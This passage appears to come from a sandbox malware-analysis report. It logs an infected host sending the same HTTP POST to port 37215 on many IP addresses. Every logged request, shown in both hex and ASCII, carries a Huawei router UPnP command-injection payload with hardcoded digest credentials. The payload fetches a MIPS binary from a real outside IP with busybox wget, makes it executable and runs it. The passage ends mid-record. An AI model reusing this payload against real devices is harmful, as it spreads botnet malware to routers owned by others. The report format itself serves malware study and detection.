65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.13	58816	156.181.148.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.709479094 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.13	54400	156.7.203.71	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.712565899 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.13	39842	156.146.227.123	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.717323065 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.13	35368	41.13.10.165	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.722310066 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.13	34080	41.188.45.145	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.725781918 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.13	33232	41.49.9.0	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.729372025 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.13	37208	41.142.2.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.732848883 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.13	48828	156.62.253.200	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.735851049 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.13	60712	156.246.149.202	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.739983082 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.13	42930	197.38.204.203	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:03.742883921 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.13	42838	156.154.24.145	37215

Timestamp	Bytes transferred	Direction	Data
